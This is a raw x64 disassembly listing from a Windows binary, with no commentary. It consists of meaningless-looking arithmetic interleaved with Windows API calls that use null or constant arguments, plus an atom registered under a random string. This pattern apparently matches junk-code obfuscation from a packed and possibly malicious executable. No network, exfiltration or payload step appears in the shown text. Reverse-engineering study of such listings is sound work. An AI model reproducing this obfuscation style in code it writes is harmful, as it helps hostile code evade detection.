mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3ca0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3b20], eax
call fcn.140103400
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [rsp + 0x3b20]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140127278]
mov dword [rcx], eax
jmp 0x140010526
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a5]
add eax, ecx
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2a8]
sub ecx, edx
cmp eax, ecx
jge 0x140010526
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x7a50]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a18], rax
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x2a3]
sar eax, cl
mov byte [rsp + 0x2a4], al
mov dword [rsp + 0x28], 0x75
lea rax, [rsp + 0x147b0]
mov qword [rsp + 0x20], rax
mov r9d, 0x3c
mov r8d, 0xaf
mov rdx, qword [rsp + 0x7b60]
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_GetCharacterPlacementW]
mov dword [rsp + 0x3cc8], eax
movzx eax, byte [rsp + 0x2a8]
movzx ecx, byte [rsp + 0x2a7]
or eax, ecx
mov byte [rsp + 0x2a6], al
movzx eax, word [rsp + 0x1374]
movzx ecx, word [rsp + 0x135c]
xor eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x79a0]
mov qword [rsp + 0x7b68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c04], eax
mov rax, qword [0x140127278]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cb4], eax
cmp dword [rsp + 0x3cc4], 0x825d
jb 0x14001078a
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7aa0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
movzx eax, word [rsp + 0x1370]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401203b0], ax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [0x140127270]
add eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68e8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x7978]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7a88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3cc4]
sub eax, 0xc9
mov dword [rsp + 0x3cc4], eax
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7ab8]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x7a10]
mov rdx, qword [rsp + 0x7a10]
mov rcx, qword [rsp + 0x7b28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x75f0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
xor eax, ecx
mov byte [rsp + 0x2a7], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1368]
shl eax, cl
mov word [0x1401203b0], ax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x2a1]
sar eax, cl
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
movsx eax, word [0x140127288]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0x6040]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [0x140120038]
and eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7968], rax
jmp 0x140010526
movsx eax, word [rsp + 0x1294]
mov dword [rsp + 0x3ccc], eax
cmp dword [rsp + 0x3ccc], 0x265
je 0x1400108da
cmp dword [rsp + 0x3ccc], 0x5ec
je 0x1400107bc
jmp 0x140010973
mov rax, qword [0x140127278]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x361c], eax
mov rax, qword [rsp + 0x7a88]
mov ecx, dword [rsp + 0x3c90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov dword [rsp + 0x40], 0xe6
mov dword [rsp + 0x38], 0x47
mov dword [rsp + 0x30], 0xaf
mov dword [rsp + 0x28], 0xfc
mov dword [rsp + 0x20], 0x22
mov r9d, 0xcc
mov r8d, 0xdc
mov edx, 0x81
mov rcx, qword [rsp + 0x7b70]
call qword [sym.imp.GDI32.dll_Pie]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov word [0x1401203b0], ax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x136c]
sub eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
jmp 0x140010973
movsx eax, word [rsp + 0x1200]
movsx ecx, word [rsp + 0x1314]
shl eax, cl
mov word [rsp + 0x134c], ax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3cc8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov eax, dword [rsp + 0x361c]
mov ecx, dword [rsp + 0x3b20]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x7b78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b78]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x14e]
and eax, ecx
mov byte [rsp + 0x29f], al
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2a8], al
lea rax, [rsp + 0x134c]
mov qword [0x140127268], rax
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x137c], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x135c]
add eax, ecx
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [0x1401203b8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7a00]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79b0]
mov rcx, qword [rsp + 0x7ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c14], eax
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
movzx eax, word [rsp + 0x1368]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov word [rsp + 0x1374], ax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1200]
or eax, ecx
mov word [rsp + 0x134c], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sar eax, cl
mov byte [0x140127270], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79f8]
mov qword [rsp + 0x7b80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7b80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7a50], rax
mov rax, qword [0x1401203b8]
mov rcx, qword [rsp + 0x7360]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
movzx eax, byte [rsp + 0x2a6]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a8], al
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rcx, [rsp + 0x7a10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c90], eax
movsx eax, byte [rsp + 0x2a3]
movsx ecx, byte [rsp + 0x2a4]
sub eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x79c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7ac0]
mov qword [rcx], rax
mov r9d, 2
lea r8, [rsp + 0x7b88]
mov rdx, qword [rsp + 0x7b88]
mov rcx, qword [rsp + 0x7a90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov word [rsp + 0x1350], ax
movzx eax, byte [rsp + 0x2a2]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140127270], al
movzx eax, word [rsp + 0x1370]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1350], ax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
add eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [rsp + 0x7ab8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3b20]
shl eax, cl
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7a80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7968]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3cc8]
movzx ecx, al
mov eax, dword [rsp + 0x3c04]
shr eax, cl
mov dword [rsp + 0x3c90], eax
movzx eax, word [rsp + 0x136c]
movzx ecx, word [rsp + 0x1370]
or eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [0x140127268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
and eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140127270], al
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov eax, dword [rsp + 0x3c50]
add eax, 0xc
mov dword [rsp + 0x3c50], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
sub eax, ecx
mov word [rsp + 0x10b0], ax
movsx eax, byte [rsp + 0x2a4]
mov rcx, qword [rsp + 0x7aa8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7a28]
mov byte [rcx], al
mov eax, dword [rsp + 0x3be8]
mov ecx, dword [0x140120398]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x3cc8], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov byte [0x140127270], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x9d4]
sar eax, cl
mov rcx, qword [rsp + 0x7aa0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1370]
shl eax, cl
mov word [rsp + 0x135c], ax
cmp dword [rsp + 0x3c50], 0x4ac2
jne 0x1400109b4
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [0x1401203b0]
or eax, ecx
movzx ecx, word [rsp + 0x136c]
movzx edx, word [rsp + 0x10b0]
xor ecx, edx
cmp eax, ecx
jne 0x140010fe4
movzx eax, byte [rsp + 0x2a5]
movzx ecx, byte [rsp + 0x2a6]
and eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x7aa8]
movzx eax, byte [rax]
mov byte [rsp + 0x3cd4], al
cmp byte [rsp + 0x3cd4], 0
je 0x140010f23
jmp 0x140010fc7
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov rax, qword [rsp + 0x7968]
mov qword [rsp + 0x7b90], rax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [0x14012039c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c04], eax
mov eax, dword [rsp + 0x3cb4]
mov dword [rsp + 0x3cd8], eax
lea rcx, [rsp + 0x13768]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x7a18]
mov rcx, qword [rsp + 0x7988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [0x1401203c0], ax
jmp 0x140010fe4
movzx eax, word [rsp + 0x1378]
movzx ecx, word [rsp + 0x1368]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x116]
movzx ecx, byte [rsp + 0x2a7]
add eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x7b98], rax
mov rax, qword [rsp + 0x7a50]
mov qword [rsp + 0x7ba0], rax
mov rax, qword [rsp + 0x7a88]
imul eax, dword [rax], 0x32db
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x7ac0]
mov rax, qword [rax]
mov qword [rsp + 0x7ba8], rax
cmp qword [rsp + 0x7ba8], 0
je 0x140011058
jmp 0x14001111c
mov rax, qword [rsp + 0x7b98]
movzx eax, byte [rax]
mov byte [rsp + 0x3cdc], al
cmp byte [rsp + 0x3cdc], 0x38
je 0x140011083
cmp byte [rsp + 0x3cdc], 0x6d
je 0x1400110f6
jmp 0x140011117
mov dword [rsp + 0x40], 0xe9
mov dword [rsp + 0x38], 0x10
mov dword [rsp + 0x30], 0xc4
mov rax, qword [rsp + 0x7bb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x24
mov r9d, 0xb3
mov r8d, 0x56
mov edx, 0xf7
mov rcx, qword [rsp + 0x7b10]
call qword [sym.imp.GDI32.dll_BitBlt]
mov dword [rsp + 0x3c1c], eax
call fcn.140103580
mov eax, dword [rsp + 0x3cb4]
mov ecx, dword [rsp + 0x3ca0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
jmp 0x140011117
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7b90], rax
jmp 0x1400111cf
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sar eax, cl
mov rcx, qword [rsp + 0x7ab0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140127288], ax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x136c]
shl eax, cl
mov word [rsp + 0x1364], ax
mov rax, qword [rsp + 0x7ba0]
mov rcx, qword [rsp + 0x68e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a50], rax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x7360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [0x140127280]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov rdx, qword [rsp + 0x7a00]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x1401029a3
lea rax, [0x140120038]
mov qword [rsp + 0x7bb8], rax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x7bc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7bc0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7968], rax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x134c]
xor eax, ecx
mov rcx, qword [0x140127268]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x7a78]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140011342
mov rax, qword [rsp + 0x7ab8]
mov rcx, qword [rsp + 0x79b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3cc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x36f8], eax
movzx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140127288], ax
movzx eax, byte [rsp + 0x2a5]
mov byte [rsp + 0x2a9], al
lea rax, [rsp + 0x136c]
mov qword [rsp + 0x7bc8], rax
movzx ecx, word [rsp + 0x1354]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1384], ax
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6040]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
jmp 0x140011404
lea r8, [rsp + 0x1348]
mov edx, 0x27
mov rcx, qword [rsp + 0x7bd0]
call qword [sym.imp.GDI32.dll_GetObjectW]
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ac0]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x2a6]
call fcn.1401034a0
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [0x1401203a0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c90], eax
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
mov eax, dword [rsp + 0x3680]
mov rcx, qword [rsp + 0x7ab8]
mov qword [rsp + 0x7bd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7bd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c14], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x79b8], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a8]
or eax, ecx
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2a6]
xor ecx, edx
cmp eax, ecx
je 0x140011546
mov rax, qword [rsp + 0x7bb8]
movzx eax, byte [rax]
movzx ecx, byte [0x140120038]
and eax, ecx
mov byte [rsp + 0x2a0], al
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
movsx eax, byte [rsp + 0x2a4]
movsx ecx, byte [rsp + 0x29f]
add eax, ecx
mov byte [rsp + 0x8b], al
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1378], ax
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_FlattenPath]
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7b58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x7bc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1370]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x79c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ae8], rax
jmp 0x140011689
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
cdq
idiv ecx
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
mov dword [rsp + 0x3ce0], ecx
movzx edx, byte [rsp + 0x2a2]
movzx ecx, dl
mov edx, dword [rsp + 0x3ce0]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140011689
mov eax, dword [rsp + 0x3c90]
mov ecx, dword [rsp + 0x3c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a7], al
movsx eax, word [0x140127288]
movsx ecx, word [rsp + 0x1200]
xor eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x7ba0]
movzx ecx, al
mov rax, qword [rsp + 0x7360]
sar rax, cl
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1364], ax
lea r9, [rsp + 0x7a18]
mov r8d, 0x91
mov edx, 0x2c
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_SetViewportExtEx]
mov dword [rsp + 0x3ce4], eax
call fcn.140103580
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7968]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
mov eax, dword [rsp + 0x3cc8]
mov dword [rsp + 0x3ce8], eax
movzx eax, byte [rsp + 0x2a9]
mov rcx, qword [rsp + 0x7bb8]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x2a2]
mov rdx, qword [rsp + 0x7ab0]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jg 0x1400117f4
lea rcx, [rsp + 0x7a10]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov eax, dword [rsp + 0x361c]
mov ecx, dword [rsp + 0x37ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cb4], eax
lea rax, [0x14012728a]
mov qword [rsp + 0x7be0], rax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1294]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7968]
mov qword [rsp + 0x7be8], rax
movabs rax, 0x797c34d681255f
cmp qword [rsp + 0x7be8], rax
je 0x1400117d4
movabs rax, 0x7b3890ee9bbda1
cmp qword [rsp + 0x7be8], rax
je 0x14001177c
jmp 0x1400117f4
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
add eax, ecx
mov word [0x1401203b0], ax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x2a5]
add eax, ecx
mov byte [rsp + 0x2a6], al
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ba0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a18], rax
jmp 0x1400117f4
mov rax, qword [rsp + 0x7b58]
mov rax, qword [rax]
mov rcx, qword [0x140127280]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ba0], rax
lea rcx, str.C2pXePo_OR_X4uCIL3M_HYN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1384], ax
xor edx, edx
mov rax, qword [rsp + 0x7a88]
mov eax, dword [rax]
mov ecx, 0x7f44
div ecx
mov dword [rsp + 0x36f8], eax
movsx eax, word [rsp + 0x1314]
mov dword [rsp + 0x3cec], eax
